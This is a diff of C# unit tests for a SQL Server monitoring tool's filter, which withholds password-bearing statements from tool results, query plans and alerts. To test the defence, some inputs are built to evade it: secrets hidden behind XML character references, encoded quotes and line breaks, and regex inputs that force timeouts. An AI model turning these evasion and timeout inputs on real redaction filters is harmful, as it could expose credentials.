+                        Uri = "file:///x",
+                        Text = s_plainRow,
+                        Meta = new JsonObject { ["b"] = StatementScrubCanary.CanaryStatement },
+                    },
+                },
+            },
+            Meta = new JsonObject { ["c"] = StatementScrubCanary.CanaryStatement },
+        };
+
+        var result = await ThroughFilterAsync(original);
+
+        var embedded = Assert.IsType<EmbeddedResourceBlock>(result.Content[0]);
+        var resource = Assert.IsType<TextResourceContents>(embedded.Resource);
+        Assert.Equal(Marker, (string?)embedded.Meta!["a"]);
+        Assert.Equal(Marker, (string?)resource.Meta!["b"]);
+        Assert.Equal(Marker, (string?)result.Meta!["c"]);
+        Assert.Equal(s_plainRow, resource.Text);
+    }
+
+    // A URI or a MIME type that carries a named statement is useless once the statement is replaced, so the
+    // whole result becomes the fixed refusal (the block keeps a valid shape that way).
+
+    [Fact]
+    public async Task ACanaryInAnEmbeddedTextResourcesUriBecomesTheFixedRefusal()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new EmbeddedResourceBlock
+                {
+                    Resource = new TextResourceContents
+                    {
+                        Uri = "x:" + StatementScrubCanary.CanaryStatement,
+                        MimeType = "text/plain",
+                        Text = "plain row",
+                    },
+                },
+            },
+        };
+
+        var result = await ThroughFilterAsync(original);
+
+        AssertTheFixedRefusal(result);
+        Assert.DoesNotContain("S3cret-canary-ssf", TextOf(result));
+    }
+
+    [Fact]
+    public async Task ACanaryInAnEmbeddedTextResourcesMimeTypeBecomesTheFixedRefusal()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new EmbeddedResourceBlock
+                {
+                    Resource = new TextResourceContents
+                    {
+                        Uri = "file:///x",
+                        MimeType = StatementScrubCanary.CanaryStatement,
+                        Text = "plain row",
+                    },
+                },
+            },
+        };
+
+        var result = await ThroughFilterAsync(original);
+
+        AssertTheFixedRefusal(result);
+        Assert.DoesNotContain("S3cret-canary-ssf", TextOf(result));
+    }
+
+    [Fact]
+    public async Task AnEmbeddedTextResourceWithAPlainUriAndMimeTypeKeepsTheResultAsTheSameInstance()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new EmbeddedResourceBlock
+                {
+                    Resource = new TextResourceContents
+                    {
+                        Uri = "file:///x",
+                        MimeType = "text/plain",
+                        Text = "plain row",
+                    },
+                },
+            },
+        };
+
+        var result = await ThroughFilterAsync(original);
+
+        Assert.Same(original, result);
+    }
+
+    [Fact]
+    public async Task AMetaThatNamesNothingKeepsTheResultAsTheSameInstance()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new TextContentBlock { Text = s_plainRow, Meta = new JsonObject { ["k"] = "v" } },
+            },
+            Meta = new JsonObject { ["k"] = "v" },
+        };
+
+        Assert.Same(original, await ThroughFilterAsync(original));
+    }
+
+    [Fact]
+    public async Task AResultThatNamesNothingComesBackAsTheSameInstance()
+    {
+        var original = Text(s_plainRow);
+
+        var result = await ThroughFilterAsync(original);
+
+        Assert.Same(original, result);
+        Assert.Same(s_plainRow, TextOf(result));
+    }
+
+    [Fact]
+    public async Task AnErrorResultIsSweptAndStaysAnError()
+    {
+        string json = Json(("error", "failed near: " + StatementScrubCanary.CanaryStatement));
+
+        var result = await ThroughFilterAsync(Text(json, isError: true));
+
+        Assert.True(result.IsError);
+        Assert.DoesNotContain("S3cret-canary-ssf", TextOf(result));
+        Assert.Contains(Marker, TextOf(result));
+    }
+
+    [Fact]
+    public async Task APlainTextErrorSentenceIsSwept()
+    {
+        var result = await ThroughFilterAsync(
+            Text("could not run: " + StatementScrubCanary.CanaryStatement, isError: true));
+
+        Assert.True(result.IsError);
+        Assert.Equal(Marker, TextOf(result));
+    }
+
+    [Fact]
+    public async Task EveryTextBlockOfAResultIsSwept_AndTheOtherFieldsCarryOver()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new TextContentBlock { Text = s_plainRow },
+                new TextContentBlock { Text = Json(("q", StatementScrubCanary.CanaryStatement)) },
+            },
+            IsError = false,
+        };
+
+        var result = await ThroughFilterAsync(original);
+
+        Assert.Equal(2, result.Content.Count);
+        Assert.Same(s_plainRow, ((TextContentBlock)result.Content[0]).Text);
+        Assert.DoesNotContain("S3cret-canary-ssf", ((TextContentBlock)result.Content[1]).Text);
+        Assert.False(result.IsError);
+    }
+
+    [Fact]
+    public async Task StructuredContentIsSweptToo()
+    {
+        using var doc = JsonDocument.Parse(Json(("q", StatementScrubCanary.CanaryStatement), ("n", "keep this value")));
+        var original = Text(s_plainRow);
+        original.StructuredContent = doc.RootElement.Clone();
+
+        var result = await ThroughFilterAsync(original);
+
+        Assert.NotNull(result.StructuredContent);
+        string raw = result.StructuredContent!.Value.GetRawText();
+        Assert.DoesNotContain("S3cret-canary-ssf", raw);
+        Assert.Equal(Marker, result.StructuredContent.Value.GetProperty("q").GetString());
+        Assert.Equal("keep this value", result.StructuredContent.Value.GetProperty("n").GetString());
+    }
+
+    [Fact]
+    public async Task ANamedKeyBecomesTheMarkerWithItsPosition_AndItsValueIsKept()
+    {
+        string json = new JsonObject
+        {
+            ["id"] = "row one",
+            [StatementScrubCanary.CanaryStatement] = "the value under a named key",
+        }.ToJsonString();
+
+        var result = await ThroughFilterAsync(Text(json));
+
+        var parsed = JsonNode.Parse(TextOf(result))!.AsObject();
+        Assert.Equal(2, parsed.Count);
+        Assert.Equal("row one", (string?)parsed["id"]);
+        Assert.Equal("the value under a named key", (string?)parsed[Marker + "#1"]);
+        Assert.DoesNotContain("S3cret-canary-ssf", TextOf(result));
+    }
+
+    // ── the clock: a result built to run the judge out of time ──
+
+    /// <summary>A near-hit the linear-time pre-check passes and the full judge times out on (see
+    /// <c>SensitiveStatementsTests</c>): each costs one 250 ms match timeout until the budget is spent.</summary>
+    private static IEnumerable<string> NearHits() =>
+        SensitiveStatementCorpus.Adversarial.Select(adversarial => "xcreate login; " + adversarial);
+
+    /// <summary>Every string value in every row is the marker. A key is judged like a value, so once the budget is
+    /// spent a key is the marker plus its position; before that it is kept.</summary>
+    private static void AssertEveryStringIsTheMarker(JsonArray rows)
+    {
+        foreach (var row in rows)
+        {
+            foreach (var pair in row!.AsObject())
+            {
+                Assert.True(pair.Key is "i" or "query_text" || pair.Key.StartsWith(Marker, StringComparison.Ordinal), pair.Key);
+                if (pair.Value is JsonValue value && value.GetValueKind() == JsonValueKind.String)
+                    Assert.Equal(Marker, value.GetValue<string>());
+            }
+        }
+    }
+
+    [Fact]
+    public async Task AHundredValuesThatTimeOutFinishWithinTheBudgetAndEveryOneIsWithheld()
+    {
+        var hits = NearHits().ToArray();
+        var rows = new JsonArray();
+        for (int i = 0; i < 100; i++)
+            rows.Add(new JsonObject { ["i"] = i, ["query_text"] = hits[i % hits.Length] });
+        string json = rows.ToJsonString();
+        SensitiveStatements.Judge("warm the regex up");
+        await ThroughFilterAsync(Text(Json(("q", "warm the filter up"))));
+
+        // The bound belongs to the code, not to the runner's load: assert the BEST of three runs and record the worst.
+        double worst = 0;
+        double best = double.MaxValue;
+        CallToolResult? last = null;
+        for (int attempt = 0; attempt < 3; attempt++)
+        {
+            var started = Stopwatch.GetTimestamp();
+            last = await ThroughFilterAsync(Text(json));
+            double ms = Stopwatch.GetElapsedTime(started).TotalMilliseconds;
+            worst = Math.Max(worst, ms);
+            best = Math.Min(best, ms);
+        }
+
+        _output.WriteLine($"100-value case over 3 runs: worst {worst:F0} ms, best {best:F0} ms");
+        TimingClaim.AtMost(best, 1950, $"100 timing-out values, best of 3 (worst {worst:F0} ms)");
+        var parsed = JsonNode.Parse(TextOf(last!))!.AsArray();
+        Assert.Equal(100, parsed.Count);
+        AssertEveryStringIsTheMarker(parsed);
+    }
+
+    [Fact]
+    public async Task ABudgetSharedByTwoBlocksIsSpentOnceNotTwice()
+    {
+        var hits = NearHits().ToArray();
+        var rows = new JsonArray();
+        for (int i = 0; i < 50; i++)
+            rows.Add(new JsonObject { ["query_text"] = hits[i % hits.Length] });
+        string json = rows.ToJsonString();
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new TextContentBlock { Text = json },
+                new TextContentBlock { Text = json },
+            },
+        };
+        SensitiveStatements.Judge("warm the regex up");
+
+        // Best of three, worst recorded (see the 100-value case above).
+        double worst = 0;
+        double best = double.MaxValue;
+        CallToolResult? result = null;
+        for (int attempt = 0; attempt < 3; attempt++)
+        {
+            var started = Stopwatch.GetTimestamp();
+            result = await ThroughFilterAsync(original);
+            double ms = Stopwatch.GetElapsedTime(started).TotalMilliseconds;
+            worst = Math.Max(worst, ms);
+            best = Math.Min(best, ms);
+        }
+
+        _output.WriteLine($"two blocks of 50 timing-out values over 3 runs: worst {worst:F0} ms, best {best:F0} ms");
+        TimingClaim.AtMost(best, 1950, $"two blocks of 50 timing-out values, best of 3 (worst {worst:F0} ms)");
+        foreach (var block in result!.Content.Cast<TextContentBlock>())
+            AssertEveryStringIsTheMarker(JsonNode.Parse(block.Text)!.AsArray());
+    }
+
+    /// <summary>Measurement for the lane report, not a gate: the sweep's cost on a 1 MB response that names
+    /// nothing (200 rows of 5000 characters plus a plain statement each).</summary>
+    [Fact]
+    public async Task MeasureSweepOverheadOnAOneMegabyteResponseThatNamesNothing()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        var rows = new JsonArray();
+        string filler = string.Concat(Enumerable.Repeat("SELECT c FROM dbo.t WHERE id = @id; ", 140));
+        for (int i = 0; i < 200; i++)
+            rows.Add(new JsonObject { ["id"] = i, ["query_text"] = filler + i, ["database_name"] = "db" + i });
+        string json = rows.ToJsonString();
+        var original = Text(json);
+        await ThroughFilterAsync(original);
+
+        var times = new List<double>();
+        for (int i = 0; i < 9; i++)
+        {
+            var started = Stopwatch.GetTimestamp();
+            var result = await ThroughFilterAsync(original);
+            times.Add(Stopwatch.GetElapsedTime(started).TotalMilliseconds);
+            Assert.Same(original, result);
+        }
+
+        times.Sort();
+        _output.WriteLine($"{json.Length:N0} characters; median sweep {times[times.Count / 2]:F1} ms (min {times[0]:F1}, max {times[^1]:F1})");
+        Assert.True(json.Length >= 1_000_000, $"{json.Length} characters");
+    }
+
+    // ── the real plan analyzer ──
+
+    [Fact]
+    public async Task AnalyzePlanXmlOnTheCanaryPlanWithholdsStatementOneAndKeepsStatementTwo()
+    {
+        // the control: the analysis of the unfiltered plan holds the parameter and constant values
+        string control = McpPlanAnalysisFormatter.BuildAnalysisResult(
+            StatementScrubCanary.CanaryPlan(), null, "xml", null, (AnalyzerConfig?)null, CancellationToken.None);
+        Assert.Contains("param-secret-ssf", control);
+
+        string analysis = DarlingMcpPlanTools.AnalyzePlanXml(StatementScrubCanary.CanaryPlan());
+        var result = await ThroughFilterAsync(Text(analysis));
+        string text = TextOf(result);
+
+        _output.WriteLine(text.Length > 600 ? text.Substring(0, 600) : text);
+        Assert.DoesNotContain("S3cret-canary-ssf", text);
+        Assert.DoesNotContain("param-secret-ssf", text);
+        Assert.DoesNotContain("const-secret-ssf", text);
+        Assert.Contains(Marker, text);
+        Assert.Contains("canary_plain_ssf", text);
+        Assert.Contains("param-canary-ssf", text);
+        JsonNode.Parse(text);
+    }
+
+    // ── the real XML read ──
+
+    [Fact]
+    public void TheCanaryPlanThroughTheRealXmlWithholdsEverySecretNeedleAndKeepsStatementTwoAndThree()
+    {
+        string plan = StatementScrubCanary.CanaryPlan();
+
+        string? result = SensitiveStatements.Xml(plan);
+
+        Assert.NotNull(result);
+        Assert.NotSame(plan, result);
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, result);
+        foreach (string needle in StatementScrubCanary.KeptNeedles) Assert.Contains(needle, result);
+        var texts = XDocument.Parse(result!).Descendants().Where(e => e.Name.LocalName == "StmtSimple")
+            .Select(e => (string?)e.Attribute("StatementText")).ToList();
+        Assert.Equal(3, texts.Count);
+        Assert.Equal(Marker, texts[0]);
+        Assert.Equal(StatementScrubCanary.PlainStatement, texts[1]);
+        Assert.Equal(StatementScrubCanary.AutoParamStatement, texts[2]);
+    }
+
+    [Theory]
+    [InlineData("autoparam_update_prepared.xml")]
+    [InlineData("autoparam_select_prepared.xml")]
+    [InlineData("autoparam_update_adhoc_shell.xml")]
+    [InlineData("autoparam_select_adhoc_shell.xml")]
+    public void ACapturedPlanThroughTheRealXmlWithholdsTheLiteral(string file)
+    {
+        string xml = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "StatementScrub", file));
+        Assert.Contains("S3cret-fixture", xml);
+
+        string? result = SensitiveStatements.Xml(xml);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("S3cret-fixture", result);
+        XDocument.Parse(result!);
+    }
+
+    [Fact]
+    public void ACapturedPreparedPlanKeepsItsStatementText()
+    {
+        string xml = File.ReadAllText(
+            Path.Combine(AppContext.BaseDirectory, "Fixtures", "StatementScrub", "autoparam_update_prepared.xml"));
+        string original = (string)XDocument.Parse(xml).Descendants().First(e => e.Attribute("StatementText") != null)
+            .Attribute("StatementText")!;
+
+        string? result = SensitiveStatements.Xml(xml);
+
+        string kept = (string)XDocument.Parse(result!).Descendants().First(e => e.Attribute("StatementText") != null)
+            .Attribute("StatementText")!;
+        Assert.Equal(original, kept);
+    }
+
+    [Fact]
+    public void XmlOnAPlanThatNamesNothingReturnsTheSameInstance_AndOnNullOrEmptyTheInput()
+    {
+        string plain = "<ShowPlanXML><a StatementText=\"" + StatementScrubCanary.PlainStatement + "\"/></ShowPlanXML>";
+
+        Assert.Same(plain, SensitiveStatements.Xml(plain));
+        Assert.Null(SensitiveStatements.Xml(null));
+        Assert.Same(string.Empty, SensitiveStatements.Xml(string.Empty));
+    }
+
+    [Fact]
+    public void JsonOnANonJsonSentenceJudgesItWhole_AndRefusesAnUnreadableOpener()
+    {
+        Assert.Equal(Marker, SensitiveStatements.Json("error in " + StatementScrubCanary.CanaryStatement));
+        Assert.Equal(SensitiveStatements.JsonRefusal, SensitiveStatements.Json("{\"q\": \"" + StatementScrubCanary.CanaryStatement));
+        Assert.Same("plain words", SensitiveStatements.Json("plain words"));
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementRawCleanTests.cs b/Darling/Darling.Tests/SensitiveStatementRawCleanTests.cs
new file mode 100644
index 0000000000..697a606119
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementRawCleanTests.cs
@@ -0,0 +1,248 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5477: a document the linear-time pre-check clears as raw text skips the walk (two parses and a judge call per
+/// value). The clear must be exact, so every document here is run through the walk itself
+/// (<c>XmlCore</c> with the production judge, which never takes the shortcut) and the answers must match; the
+/// documents that must NOT take the shortcut are the ones where raw text and decoded values differ.
+/// </summary>
+public class SensitiveStatementRawCleanTests
+{
+    private const string Secret = "CREATE LOGIN [canary_raw] WITH PASSWORD = N'S3cret-canary-raw'";
+    private const string Plain = "SELECT canary_plain_raw FROM dbo.t WHERE c = 1";
+
+    /// <summary>A declared variable whose type length runs across a CR LF: the reader turns the pair into one character, so the
+    /// value it hands the judge is a character shorter than the raw text.</summary>
+    private const string LineEndStatement = "DECLARE @pwd nvarchar(\r\n1234567890123456789) = N'placeholder-value'";
+
+    private const string TwoLineEndStatement = "DECLARE @secret varchar(\r\n\r\n123456789012345678) = 'placeholder-value'";
+
+    private static bool Named(string value) =>
+        SensitiveStatements.Names(value)
+        || (value.Contains('&', StringComparison.Ordinal) && SensitiveStatements.Names(WebUtility.HtmlDecode(value)));
+
+    /// <summary>What the walk answers, with no shortcut in front of it.</summary>
+    private static string? Walk(string xml) =>
+        SensitiveStatements.XmlCore(xml, Named, static () => false, SensitiveStatements.PlaceholderText);
+
+    private static string? Filtered(string xml, out bool tookTheShortcut)
+    {
+        var before = SensitiveStatements.RawCleanClears;
+        var result = SensitiveStatements.Xml(xml, new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget));
+        tookTheShortcut = SensitiveStatements.RawCleanClears != before;
+        return result;
+    }
+
+    [Fact]
+    public void ACleanDocument_IsClearedWithoutAWalk_AndComesBackAsTheSameInstance()
+    {
+        var xml = "<r a=\"1\"><n>" + Plain + "</n><n b=\"two\">more text</n></r>";
+
+        var result = Filtered(xml, out var tookTheShortcut);
+
+        Assert.True(tookTheShortcut);
+        Assert.Same(xml, result);
+        Assert.Same(xml, Walk(xml));
+    }
+
+    [Fact]
+    public void TheClear_IsChargedToTheBudget()
+    {
+        var budget = new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget);
+
+        SensitiveStatements.Xml("<r>" + new string('x', 400_000) + "</r>", budget);
+
+        Assert.True(budget.Elapsed > TimeSpan.Zero);
+    }
+
+    public static TheoryData<string> DocumentsThatMustBeWalked() => new()
+    {
+        // A named value: the walk replaces it.
+        "<r><n>" + Secret + "</n><n>" + Plain + "</n></r>",
+        // A named value in an attribute.
+        "<r a=\"" + Secret + "\"><n>" + Plain + "</n></r>",
+        // A named value in a CDATA section.
+        "<r><![CDATA[" + Secret + "]]></r>",
+        // The secret spelled with a character reference: only decoding shows it, so it is no raw-text clear.
+        "<r><n>CREATE LOGIN x WITH PASSWORD&#32;= N'S3cret'</n></r>",
+        // Entity-encoded quote around the literal.
+        "<r><n>password = &apos;hunter2&apos;</n></r>",
+        // A keyword spelled with a character reference: the raw text never holds the word, only the decoded value does.
+        "<r><n>pass&#119;ord = 'placeholder-value'</n></r>",
+        "<r a=\"pass&#119;ord = 'placeholder-value'\"/>",
+        // A line comment in an attribute value: the reader turns the line break into a space, so the comment runs
+        // on to the literal in the value and not in the raw text.
+        "<r v=\"password -- note\nfoo 'x'\"><n>" + Plain + "</n></r>",
+        "<r v=\"password -- note\tfoo 'x'\"/>",
+        // An XML comment holds a double hyphen: no shortcut, and the comment is judged by the walk.
+        "<r><!-- password = 'x' --><n>" + Plain + "</n></r>",
+        // An auto-parameter token: the walk judges the statement with its parameter value put back.
+        "<ShowPlanXML><StmtSimple StatementText=\"update t set pwd = @1\"><QueryPlan><ParameterList>"
+            + "<ColumnReference Column=\"@1\" ParameterCompiledValue=\"N'hunter2'\" /></ParameterList></QueryPlan></StmtSimple></ShowPlanXML>",
+        // An element-form ParameterizedText.
+        "<r><ParameterizedText>select 1</ParameterizedText></r>",
+        // Not well formed, with and without a secret.
+        "<r><n>" + Plain,
+        "<r><n>" + Secret,
+        "just some text, not xml",
+        "pwd = 'x' and not xml",
+        // A carriage return in a text node, an attribute, a CDATA section, with two pairs, and in a document that is not
+        // well formed: the reader shortens each CR LF, so the raw text is no stand-in for the value.
+        "<r><n>" + LineEndStatement + "</n></r>",
+        "<StmtSimple StatementText=\"" + LineEndStatement + "\"/>",
+        "<r><![CDATA[" + LineEndStatement + "]]></r>",
+        "<r><n>" + TwoLineEndStatement + "</n></r>",
+        "<r><n>" + LineEndStatement,
+        "<r EdcShowplanXml=\"" + LineEndStatement + "\"/>",
+    };
+
+    [Theory]
+    [MemberData(nameof(DocumentsThatMustBeWalked))]
+    public void EveryDocument_GetsTheWalksAnswer(string xml)
+    {
+        var expected = Walk(xml);
+
+        var actual = Filtered(xml, out _);
+
+        Assert.Equal(expected, actual);
+    }
+
+    [Theory]
+    [InlineData("<r><n>CREATE LOGIN x WITH PASSWORD&#32;= N'S3cret'</n></r>")]
+    [InlineData("<r><n>password = &apos;hunter2&apos;</n></r>")]
+    [InlineData("<r><n>pass&#119;ord = 'placeholder-value'</n></r>")]
+    [InlineData("<r a=\"pass&#119;ord = 'placeholder-value'\"/>")]
+    [InlineData("<r v=\"password -- note\nfoo 'x'\"><n>x</n></r>")]
+    [InlineData("<r><!-- harmless --><n>x</n></r>")]
+    [InlineData("<ShowPlanXML><StmtSimple StatementText=\"select @1\"/></ShowPlanXML>")]
+    [InlineData("<r><ParameterizedText>select 1</ParameterizedText></r>")]
+    [InlineData("<r><n>DECLARE @pwd nvarchar(\r\n1234567890123456789) = N'placeholder-value'</n></r>")]
+    [InlineData("<StmtSimple StatementText=\"DECLARE @pwd nvarchar(\r\n1234567890123456789) = N'placeholder-value'\"/>")]
+    [InlineData("<r><![CDATA[DECLARE @pwd nvarchar(\r\n1234567890123456789) = N'placeholder-value']]></r>")]
+    [InlineData("<r><n>DECLARE @secret varchar(\r\n\r\n123456789012345678) = 'placeholder-value'</n></r>")]
+    [InlineData("<r><n>DECLARE @pwd nvarchar(\r\n1234567890123456789) = N'placeholder-value'")]
+    public void ADocumentWhereRawTextAndValuesDiffer_IsNeverClearedAsRawText(string xml)
+    {
+        Filtered(xml, out var tookTheShortcut);
+
+        Assert.False(tookTheShortcut);
+    }
+
+    [Theory]
+    [InlineData(LineEndStatement)]
+    [InlineData(TwoLineEndStatement)]
+    public void ALineEndInsideATypeLength_StillGetsTheStatementWithheld(string statement)
+    {
+        var xml = "<r><n>" + statement + "</n></r>";
+
+        var result = Filtered(xml, out var tookTheShortcut);
+
+        Assert.False(tookTheShortcut);
+        Assert.DoesNotContain("placeholder-value", result, StringComparison.Ordinal);
+        Assert.Equal(Walk(xml), result);
+    }
+
+    [Fact]
+    public void AJsonValueHoldingAnXmlDocumentWithALineEnd_GetsTheWalksAnswer()
+    {
+        var json = "{\"plan\":\"<r><n>DECLARE @pwd nvarchar(\\r\\n1234567890123456789) = N'placeholder-value'</n></r>\"}";
+
+        var result = SensitiveStatements.Json(json, new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget));
+
+        Assert.DoesNotContain("placeholder-value", result, StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, result, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnAlertAttachmentWithALineEndInAStatement_GetsTheStatementWithheld()
+    {
+        var context = new AlertContext
+        {
+            AttachmentXml = "<blocked-process-report><blocked-process><process id=\"p1\"><inputbuf>"
+                + LineEndStatement
+                + "</inputbuf></process></blocked-process></blocked-process-report>",
+            AttachmentFileName = "blocked_process_report.xml",
+        };
+
+        var filtered = AlertStatementFilter.Apply(context);
+
+        Assert.NotNull(filtered?.AttachmentXml);
+        Assert.DoesNotContain("placeholder-value", filtered!.AttachmentXml, StringComparison.Ordinal);
+    }
+
+    /// <summary>The pre-check stands in for the walk only while the pattern reads a value the way it reads the raw text. A
+    /// counted repetition, or a class that tells a tab, a line feed and a space apart, outside the one place that
+    /// already sends the document to the walk, could break that, so appending either to the pattern must be a
+    /// deliberate act with a new exit in the shortcut.</summary>
+    [Fact]
+    public void ThePattern_HasNoCountedRepetitionBeyondTheOneTheShortcutCovers_AndNoClassThatSeparatesWhitespace()
+    {
+        var counted = System.Text.RegularExpressions.Regex.Matches(SensitiveStatements.Pattern, @"\{\d+(,\d*)?\}");
+        Assert.Single(counted);
+        Assert.Equal("{0,20}", counted[0].Value);
+
+        // The line-comment alternative is the one place a control character class is allowed: the shortcut exits on "--".
+        var rest = SensitiveStatements.Pattern.Replace("--[^[:cntrl:]]*", string.Empty, StringComparison.Ordinal);
+        foreach (var banned in new[] { "[:cntrl:]", "[:blank:]", "[:print:]", "[:graph:]", "\t", "\n", "\r", " " })
+        {
+            Assert.DoesNotContain(banned, rest, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ADocumentThatNamesAValue_IsNotCleared()
+    {
+        var xml = "<r><n>" + Plain + "</n><n>" + Secret + "</n></r>";
+
+        var result = Filtered(xml, out var tookTheShortcut);
+
+        Assert.False(tookTheShortcut);
+        Assert.DoesNotContain("S3cret", result, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ABudgetWithAFakeJudge_IsNeverShortCircuited()
+    {
+        var calls = 0;
+        var budget = new SensitiveStatements.JudgeBudget(
+            SensitiveStatements.ReadBudget,
+            _ =>
+            {
+                calls++;
+                return SensitiveStatements.Verdict.Named;
+            });
+        var before = SensitiveStatements.RawCleanClears;
+
+        var result = SensitiveStatements.Xml("<r><n>" + Plain + "</n></r>", budget);
+
+        Assert.Equal(before, SensitiveStatements.RawCleanClears);
+        Assert.True(calls > 0);
+        Assert.NotEqual("<r><n>" + Plain + "</n></r>", result);
+    }
+
+    [Fact]
+    public void ASpentBudget_WithholdsTheDocument_AsBefore()
+    {
+        var budget = new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget);
+        budget.AddElapsed(TimeSpan.FromSeconds(60));
+
+        var result = SensitiveStatements.Xml("<r><n>" + Plain + "</n></r>", budget);
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, result);
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementSessionTests.cs b/Darling/Darling.Tests/SensitiveStatementSessionTests.cs
new file mode 100644
index 0000000000..041c7808fa
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementSessionTests.cs
@@ -0,0 +1,503 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, #5320 (PR B, lane R1a): the collection-time statement filter session. The budget tests use a fake judge and
+/// a fake clock, so no test waits on real time; the identity and canary tests use the real judge.
+/// </summary>
+public sealed class SensitiveStatementSessionTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    private static readonly TimeSpan Fifteen = TimeSpan.FromSeconds(15);
+
+    /// <summary>A judge that counts its calls, charges a fixed cost to a fake clock, and answers by a rule.</summary>
+    private sealed class FakeJudge(TimeSpan cost, Func<string, SensitiveStatements.Verdict>? rule = null)
+    {
+        public TimeSpan Now { get; private set; }
+
+        public List<string> Seen { get; } = new();
+
+        public Func<TimeSpan> Clock => () => Now;
+
+        public SensitiveStatements.Verdict Judge(string text)
+        {
+            Seen.Add(text);
+            Now += cost;
+            return rule?.Invoke(text) ?? SensitiveStatements.Verdict.Clean;
+        }
+    }
+
+    private static SensitiveStatements.Session NewSession(
+        FakeJudge fake,
+        SensitiveStatements.TimedOutMemo? memo = null,
+        TimeSpan? limit = null) =>
+        new(fake.Judge, fake.Clock, limit ?? Fifteen, memo ?? new SensitiveStatements.TimedOutMemo());
+
+    // ---- budget --------------------------------------------------------------------------------------------
+
+    [Fact]
+    public void ValuesAfterTheBudgetIsSpentAreUnjudgedMarkers()
+    {
+        var fake = new FakeJudge(TimeSpan.FromSeconds(8));
+        var session = NewSession(fake);
+
+        Assert.Equal("a", session.Text("a"));
+        Assert.Equal("b", session.Text("b"));
+        Assert.True(session.Spent);
+
+        var third = session.Text("c");
+
+        Assert.Equal(Marker, third);
+        Assert.Equal(2, fake.Seen.Count);
+        Assert.Equal(1, session.Unjudged);
+        Assert.Equal(0, session.Named);
+    }
+
+    [Fact]
+    public void TryTextReturnsFalseForAValueLeftUnjudgedByASpentBudget_AndTrueForANamedOne()
+    {
+        var fake = new FakeJudge(
+            TimeSpan.FromSeconds(8),
+            text => text == "named" ? SensitiveStatements.Verdict.Named : SensitiveStatements.Verdict.Clean);
+        var session = NewSession(fake);
+
+        Assert.True(session.TryText("named", out var namedResult));
+        Assert.Equal(Marker, namedResult);
+        Assert.True(session.TryText("ok", out _));
+
+        Assert.False(session.TryText("late", out var lateResult));
+        Assert.Equal(Marker, lateResult);
+        Assert.Equal(1, session.Named);
+        Assert.Equal(1, session.Unjudged);
+    }
+
+    [Fact]
+    public void AnUnjudgedValueIsNotRememberedSoALaterSessionJudgesIt()
+    {
+        var spent = new FakeJudge(TimeSpan.FromSeconds(20));
+        var first = NewSession(spent);
+        first.Text("x");
+        Assert.False(first.TryText("y", out _));
+
+        var fresh = new FakeJudge(TimeSpan.FromMilliseconds(1));
+        var second = NewSession(fresh);
+
+        Assert.True(second.TryText("y", out var result));
+        Assert.Equal("y", result);
+        Assert.Equal(new[] { "y" }, fresh.Seen);
+    }
+
+    [Fact]
+    public void ABudgetCrossedMidXmlGivesTheWholeMarker_AndTheNextSessionGivesTheScrubbedPlan()
+    {
+        // r2 Q5. The fake judge calls the real judge and charges 5 s a value, so the plan runs out of budget
+        // part way through.
+        var plan = StatementScrubCanary.CanaryPlan();
+        var slow = new FakeJudge(TimeSpan.FromSeconds(5), SensitiveStatements.Judge);
+        var first = NewSession(slow);
+
+        Assert.False(first.TryXml(plan, out var withheldWhole));
+        Assert.Equal(Marker, withheldWhole);
+        Assert.Equal(1, first.Unjudged);
+
+        var next = new SensitiveStatements.Session();
+        Assert.True(next.TryXml(plan, out var scrubbed));
+
+        Assert.NotEqual(Marker, scrubbed);
+        Assert.NotEqual(plan, scrubbed);
+        Assert.Contains(Marker, scrubbed, StringComparison.Ordinal);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, scrubbed, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("canary_plain_ssf", scrubbed, StringComparison.Ordinal);
+        Assert.Equal(0, next.Unjudged);
+    }
+
+    [Fact]
+    public void ABudgetAlreadySpentGivesTheWholeMarkerForADocumentThatNeedsJudging()
+    {
+        var fake = new FakeJudge(TimeSpan.FromSeconds(20));
+        var session = NewSession(fake);
+        session.Text("x");
+
+        Assert.False(session.TryXml("<r><a>v1</a><b>v2</b></r>", out var result));
